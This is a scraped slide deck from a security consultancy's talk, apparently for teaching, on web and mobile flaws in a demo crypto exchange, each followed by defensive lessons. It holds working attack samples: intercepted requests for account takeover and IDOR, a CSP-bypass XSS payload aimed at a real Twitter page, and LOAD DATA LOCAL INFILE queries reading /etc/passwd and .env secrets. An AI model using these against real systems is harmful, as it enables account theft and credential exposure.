MAYASEVENs Hacking Diary Who are we? Nop Phoomthaisong MAYASEVEN - - PowerPoint PPT Presentation

▶
mayaseven s
SMART_READER_LITE
LIVE PREVIEW

MAYASEVENs Hacking Diary Who are we? Nop Phoomthaisong MAYASEVEN - - PowerPoint PPT Presentation

Apr 28, 2023 1.57k likes •2.36k views

MAYASEVENs Hacking Diary Who are we? Nop Phoomthaisong MAYASEVEN Team Cybersecurity Consultants, The Cybersecurity Expert Guys Cybersecurity Researcher 2 Agenda 1. Account Takeover via Forgot Password Function 2. Amazon S3

slide-1
SLIDE 1

MAYASEVEN’s Hacking Diary

slide-2
SLIDE 2

2

Who are we?

Nop Phoomthaisong Cybersecurity Consultants, Cybersecurity Researcher MAYASEVEN Team The Cybersecurity Expert Guys

slide-3
SLIDE 3

3

Agenda

1. Account Takeover via Forgot Password Function 2. Amazon S3 Misconfiguration 3. Arbitrarily Create Bitcoin on Web Cryptocurrency Exchange 4. Attacking JSON Web Token 5. XSS Triggered by CSP Bypass 6. Adminer Arbitrary File Read 7. Poor Cryptography Implementation 8. Code Obfuscation?

slide-4
SLIDE 4

4

MAYASEVEN Cryptocurrency Exchange

slide-5
SLIDE 5

Account Takeover via Forgot Password Function

slide-6
SLIDE 6

6

Typical Forgot Password Workflow

Click forgot password Received OTP Confirm OTP Insert mobile number Enter new password Password changed To identify the account owner

slide-7
SLIDE 7

7

Typical Forgot Password Workflow

Click forgot password Received OTP Confirm OTP Insert mobile number Enter new password Password changed To identify the account owner

slide-8
SLIDE 8

8

Account Takeover via Forgot Password

Enter new password Web server

POST /forgot-password.php HTTP/1.1 Host: 192.168.1.44:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form- urlencoded Content-Length: 77 Connection: close Upgrade-Insecure-Requests: 1 refotp=b097d6&username=mayaseven&password =mynewpass&confirmpassword=mynewpass

Intercept a request with Burp Suite

slide-9
SLIDE 9

9

Account Takeover via Forgot Password

Enter new password Web server

POST /forgot-password.php HTTP/1.1 Host: 192.168.1.44:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form- urlencoded Content-Length: 77 Connection: close Upgrade-Insecure-Requests: 1 refotp=b097d6&username=mark&password= mynewpass&confirmpassword=mynewpass

Change username

slide-10
SLIDE 10

10

Account Takeover via Forgot Password

Demo !

slide-11
SLIDE 11

11

Lesson Learned

  • Developers should take care for every stage in workflow
slide-12
SLIDE 12

Amazon S3 Misconfiguration

slide-13
SLIDE 13

13

Amazon S3 Misconfiguration

The web server keeps all photos in Amazon S3 private cloud storage.

View photo Webapp generate access token A photo was show Redirected to Amazon S3 private storage Access Token

slide-14
SLIDE 14

14

Amazon S3 Misconfiguration

Without the Access Token, we cannot access to the photo even when we know the file name.

slide-15
SLIDE 15

15

Account takeover via forgot password

Is it still vulnerable?

slide-16
SLIDE 16

16

Amazon S3 Misconfiguration

The web server keeps all photos in Amazon S3 private cloud storage.

View photo Webapp generate access token A photo was show Redirected to Amazon S3 private storage Access Token

slide-17
SLIDE 17

17

Amazon S3 Misconfiguration

GET /api/s3.php?id_card=id_card_DANIEL.jpg HTTP/1.1 Host: 192.168.1.55:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cookie: token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJk YXRhIjp7InVzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQi OjEsInRlc3QiOiJ0ZXN0In0sImV4cCI6MTU1ODEyM DUwNH0.9iPkFNFlwF4MK5jD39UqUhrQW4fGS2M r62l6j6528kI Upgrade-Insecure-Requests: 1

Intercept a request with Burp Suite Webapp generate access token Redirected to Amazon S3 private storage

id_card_DANIEL.jpg was show

slide-18
SLIDE 18

18

Amazon S3 Misconfiguration

GET /api/s3.php?id_card=id_card_mayaseven.jpg HTTP/1.1 Host: 192.168.1.55:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cookie: token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJk YXRhIjp7InVzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQi OjEsInRlc3QiOiJ0ZXN0In0sImV4cCI6MTU1ODEyM DUwNH0.9iPkFNFlwF4MK5jD39UqUhrQW4fGS2M r62l6j6528kI Upgrade-Insecure-Requests: 1

Intercept a request with Burp Suite Webapp generate access token Redirected to Amazon S3 private storage

id_card_mayaseven.jpg was show

slide-19
SLIDE 19

19

Lesson Learned

  • A bucket turn off permission to access for "Everyone" (Turn off Object list).
  • Web application must validate the authorization before generate token to

access to the resources.

slide-20
SLIDE 20

Arbitrarily Create Bitcoin

slide-21
SLIDE 21

21

Arbitrarily Create Bitcoin

Withdraw cryptocurrency Cancel a withdrawal transaction Cryptocurrency transferred back to the user’s balance Balance deducted

slide-22
SLIDE 22

22

Arbitrarily Create Bitcoin

Withdraw cryptocurrency Cancel a withdrawal transaction Cryptocurrency transferred back to the user’s balance Balance deducted

slide-23
SLIDE 23

23

Arbitrarily Create Bitcoin

Webapp

GET /transaction.php?cancel_withdraw_transactionid=MjQ= HTTP/1.1 Host: 192.168.1.44:8080 User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Connection: close Cookie: token=eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7In VzZXIiOiJtYXlhc2V2ZW4iLCJ1c2VyaWQiOjEsInRlc3QiOiJ0ZXN0I n0sImV4cCI6MTU1ODEyMDM5OX0.E_VOI2BCXNFvmgNhWM QWREfXZc49LSWLW80DESzCPgU Upgrade-Insecure-Requests: 1

Intercept a request with Burp Suite Cancel a withdrawal transaction Cryptocurrency transferred back to the user’s balance

slide-24
SLIDE 24

MAYASEVEN 24

slide-25
SLIDE 25

25

Arbitrarily Create Bitcoin

Demo !

slide-26
SLIDE 26

30

Lesson Learned

  • Limit transaction to be canceled only one time.
  • Transaction ID should be unpredictable.
  • Check the authorization.
slide-27
SLIDE 27

Attacking JSON Web Token

slide-28
SLIDE 28

32

Attacking JSON Web Token

JSON Web Token (JWT):

  • A compact and self-contained way for securely transmitting information between parties as a JSON object
  • This information can be verified and trusted because it is digitally signed.
  • Consist of three parts separated by dots (.), which are Header.Payload.Signature, each part encoded with

base64. example: xxxxx.yyyyy.zzzzz

slide-29
SLIDE 29

33

Attacking JSON Web Token

Header:

  • The header typically consists of two parts which is JWT and the hashing algorithm.
  • Then this JSON is Base64 encoded to form the first part of the JWT
slide-30
SLIDE 30

34

Attacking JSON Web Token

Payload:

  • Contains statements about an entity and additional metadata.
  • Then this JSON is Base64 encoded to form the first part of the JWT
slide-31
SLIDE 31

35

Attacking JSON Web Token

Signature:

  • Sign the encoded header and payload by using a key and the algorithm specified in the header.

Using defined “alg” in the Header part for signing.

slide-32
SLIDE 32

36

Attacking JSON Web Token

We cannot change any field in JWT because of signature verification, so how to attacks JWT ?

slide-33
SLIDE 33

37

Attacking JSON Web Token

Three ways for attacking JWT:

  • Cracking HMAC by using wordlist or Brute Forcing
  • None Algorithm Attack
  • Modifying algorithm in the “alg” field
slide-34
SLIDE 34

38

Attacking JSON Web Token

Demo !

slide-35
SLIDE 35

39

Lesson Learned

  • For HMAC, use strong symmetric key.
  • Never accept the “none” algorithm.
  • Use reliable JWT library.
slide-36
SLIDE 36

XSS Triggered by CSP Bypass

slide-37
SLIDE 37

41

XSS Triggered by CSP Bypass

  • CSP (Content-Security-Policy)
  • Header to prevent cross-site scripting (XSS resulting from execution of

malicious content in the trusted web page context).

content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com; script-src ‘self’ https://*.twitter.com;

slide-38
SLIDE 38

42

Typical XSS

Website Attacker inject a script to a webpage JavaScript executed Victim access the webpage

slide-39
SLIDE 39

43

Implement CSP to Protect XSS

Website with CSP header Attacker inject a script to a webpage JavaScript not executed Victim access the webpage

slide-40
SLIDE 40

44

Implement CSP to Protect XSS So, how to bypass Content Security Policy?

slide-41
SLIDE 41

45

How to bypass CSP ?

Find XSS entry point Find input return in response Inject script with external script file

  • Input return in response
  • Reflection of input arises when data is copied from a request and echoed into

the application's immediate response.

Script executed

slide-42
SLIDE 42

46

XSS Triggered by CSP Bypass

  • XSS on website with CSP

Script could not execute because it was blocked by Content-Security-Policy.

https://careers.twitter.com/en/jobs-search.html?location=1”onmouseove=“alert(1)”

Find XSS entry point

slide-43
SLIDE 43

47

XSS Triggered by CSP Bypass

  • Input return in response

Input being returned in the application responses is not a vulnerability in its own

  • right. However, it is a prerequisite for XSS in this case.

Find input return in response

slide-44
SLIDE 44

48

XSS Triggered by CSP Bypass

  • Final Payload and URL

<script src=“//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>//”></script>

Inject script with external script file

slide-45
SLIDE 45

49

XSS Triggered by CSP Bypass

Demo !

slide-46
SLIDE 46

50

Lesson Learned

  • Input or output should be sanitized.
  • Cannot use only CSP to prevent XSS
slide-47
SLIDE 47

Adminer Arbitrary File Read

slide-48
SLIDE 48

52

Adminer Arbitrary File Read

  • Adminer
  • A database management in a single PHP file , which allows the user connecting to

any database server.

  • How to find adminer path?
  • Dirsearch, wfuzz and etc.
slide-49
SLIDE 49

53

Adminer Arbitrary File Read

  • Create databases and tables.
  • MySQL command to read the local files on the server
slide-50
SLIDE 50

54

Adminer Arbitrary File Read

  • Create databases and tables.
slide-51
SLIDE 51

55

Adminer Arbitrary File Read

  • Use MySQL command to read the local files on the server. The example below,

we read /etc/passwd file and put the content to the test table in the server.

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.test FIELDS TERMINATED BY "\n"

slide-52
SLIDE 52

56

Adminer Arbitrary File Read

slide-53
SLIDE 53

57

Adminer Arbitrary File Read

  • Read Nginx configuration file

LOAD DATA LOCAL INFILE /etc/nginx/sites- enabled/{filename}' INTO TABLE test.test FIELDS TERMINATED BY "\n"

slide-54
SLIDE 54

58

Adminer Arbitrary File Read

  • Read database.php
slide-55
SLIDE 55

59

Adminer Arbitrary File Read

  • In a real case, the server used Laravel, and we could read .env file and found

the SSH root password.

  • Path of the .env file was found in error handling.

LOAD DATA LOCAL INFILE /usr/share/nginx/html/mayasevenexchange/.env}' INTO TABLE test.test FIELDS TERMINATED BY "\n"

slide-56
SLIDE 56

60

Adminer Arbitrary File Read

Demo !

slide-57
SLIDE 57

61

Lesson Learned

  • Remove all unnecessary dependencies.
  • Have an inventory of all your components on the client-side and server-side.
  • Monitor sources like Common Vulnerabilities and Disclosures (CVE) and

National Vulnerability Database (NVD) for vulnerabilities in the components.

  • Obtain components only from official sources.
  • Get rid of components not actively maintained.
slide-58
SLIDE 58

Poor Cryptography Implementation

slide-59
SLIDE 59

63

Poor Cryptography Implementation

  • From above demos, an attacker could manipulate the request

before sending to the server.

  • Some developer thought that they can prevent by encrypting all

payloads. Then what’s a problem?

slide-60
SLIDE 60

64

Normal HTTP request/response

Example request Example response

slide-61
SLIDE 61

65

Encrypted HTTP request/response

Example request Example response

slide-62
SLIDE 62

66

Poor Cryptography Implementation

Demo !

slide-63
SLIDE 63

67

Lesson Learned

  • Hacker always win the client-side encryption.
  • Validate all request data at the backend server.
slide-64
SLIDE 64

Code Obfuscation?

slide-65
SLIDE 65

69

Code Obfuscation?

Mobile application:

  • An android application “MAYASEVEN Exchange” has a hard-coded key for encrypting/decrypting JSON data

which send through HTTPS.

Security Controls:

  • Encrypt all JSON data.
  • ProGuard for obfuscation.
slide-66
SLIDE 66

70

Code Obfuscation?

Problem:

  • An application used hard-coded key and IV for encrypting JSON data with AES/CBC/PKCS7Padding algorithm

before sending to the API server.

slide-67
SLIDE 67

71

Code Obfuscation?

Attack:

  • Understanding HTTP request and response.
  • Decompile APK and review the obfuscated code.
  • Found key and IV in shared object file (libnative-lib.so).
  • Manipulate payload for querying data from the server.
slide-68
SLIDE 68

72

Understanding HTTP request and response

Example request Example response

slide-69
SLIDE 69

73

Decompile APK and review the code

slide-70
SLIDE 70

74

Assume that: IV = zuch58qsgkwtvasj Key = ghdhrz3qvet3akz6j25bzajbohwh4rnw

Found key and IV

slide-71
SLIDE 71

75

Manipulate payload for querying data

slide-72
SLIDE 72

76

Manipulate payload for querying data

We could craft a malicious payload and encrypt it with the same key and IV then send to the server !

slide-73
SLIDE 73

77

Lesson Learned

  • Hacker still win the client-side encryption even the app is obfuscated
  • Validate all request data at the backend server
slide-74
SLIDE 74

MAYASEVEN 78

slide-75
SLIDE 75

nop@mayaseven.com 02-026-3231 https://mayaseven.com